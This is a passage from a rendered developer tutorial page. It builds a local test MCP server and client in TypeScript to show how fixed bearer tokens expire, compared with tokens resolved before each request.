punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    accessToken</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    refreshToken</span><span class="token operator">:</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">refresh_token_</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">issued</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    expiresAt</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>Every call to <code>issueTokens()</code> returns a new, numbered token that's valid for two seconds. <code>expiries</code> remembers when each one expires, so the MCP server can check it.</p>
</li>
<li class="">
<p>Add the MCP server:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token comment" style="color:#5A6072;font-style:italic">// 2. An MCP server that rejects expired tokens and logs what it receives.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> mcpHandler </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">toNodeHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">createMcpHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> server </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">McpServer</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'demo'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> version</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'1.0.0'</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">registerTool</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token string" style="color:#15803D">'add'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        description</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Add two numbers'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        inputSchema</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">object</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> a</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">number</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> b</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">number</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> a</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> b </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        content</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'text'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> text</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">String</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">a </span><span class="token operator">+</span><span class="token plain"> b</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> server</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> httpServer </span><span class="token operator">=</span><span class="token plain"> http</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">createServer</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> token </span><span class="token operator">=</span><span class="token plain"> req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">headers</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">authorization</span><span class="token operator">?.</span><span class="token function" style="color:#0B1633;font-weight:600">replace</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Bearer '</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">''</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> valid </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">expiries</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">token </span><span class="token operator">??</span><span class="token plain"> </span><span class="token string" style="color:#15803D">''</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">??</span><span class="token plain"> </span><span class="token number" style="color:#C43300">0</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">&gt;</span><span class="token plain"> Date</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">now</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">headers</span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">'mcp-method'</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"> </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'tools/call'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">  server got </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">token</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string string" style="color:#15803D">: </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">valid </span><span class="token template-string interpolation operator" style="color:#15803D">?</span><span class="token template-string interpolation" style="color:#15803D"> </span><span class="token template-string interpolation string" style="color:#15803D">'200'</span><span class="token template-string interpolation" style="color:#15803D"> </span><span class="token template-string interpolation operator" style="color:#15803D">:</span><span class="token template-string interpolation" style="color:#15803D"> </span><span class="token template-string interpolation string" style="color:#15803D">'401'</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">valid</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">writeHead</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">401</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token string-property property" style="color:#1F4FFF">'WWW-Authenticate'</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Bearer error="invalid_token"'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">end</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">void</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">mcpHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">httpServer</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listen</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">3600</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> serverUrl </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'http://localhost:3600/mcp'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>It has one tool, <code>add</code>. Before each request, it checks the token against <code>expiries</code>. For tool calls, it logs the token it received and whether it accepted it. An expired token gets a <code>401</code>.</p>
<p>This is only a test double. It doesn't validate real OAuth tokens.</p>
</li>
<li class="">
<p>Add a helper that calls the <code>add</code> tool:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">callAdd</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">client</span><span class="token operator">:</span><span class="token plain"> Client</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">try</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">callTool</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'add'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> arguments</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> a</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">2</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> b</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">3</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">catch</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'  the call failed'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>If the call fails, the helper logs it and carries on, so the script can continue to the next test.</p>
</li>
<li class="">
<p>Add the first test, with the token fixed in a header:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token comment" style="color:#5A6072;font-style:italic">// 3. A token fixed in a header when the client is created.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Fixed header:'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> fixed </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Client</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'fixed'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> version</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'1.0.0'</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> versionNegotiation</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> mode</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'auto'</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> fixed</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">serverUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    requestInit</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      headers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> Authorization</span><span class="token operator">:</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">Bearer </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation function" style="color:#0B1633;font-weight:600">issueTokens</span><span class="token template-string interpolation punctuation" style="color:#5A6072">(</span><span class="token template-string interpolation punctuation" style="color:#5A6072">)</span><span class="token template-string interpolation punctuation" style="color:#5A6072">.</span><span class="token template-string interpolation" style="color:#15803D">accessToken</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">callAdd</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">fixed</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">sleep</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">2_500</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">callAdd</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">fixed</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> fixed</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>This client gets one token when it's created. It calls <code>add</code>, waits until the token expires, and calls again.</p>
</li>
<li class="">
<p>Add the second test, with the token resolved before every request:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token comment" style="color:#5A6072;font-style:italic">// 4. The same calls, with the token resolved before every request.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Token hook:'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> store </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Map</span><span class="token class-name operator" style="color:#0B1633;font-weight:600">&lt;</span><span class="token class-name builtin" style="color:#1F4FFF;font-weight:600">string</span><span class="token class-name punctuation" style="color:#5A6072;font-weight:600">,</span><span class="token class-name" style="color:#0B1633;font-weight:600"> StoredTokens</span><span class="token class-name operator" style="color:#0B1633;font-weight:600">&gt;</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">store</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'alice'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">issueTokens</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> tokens </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">TokenService</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function-variable function" 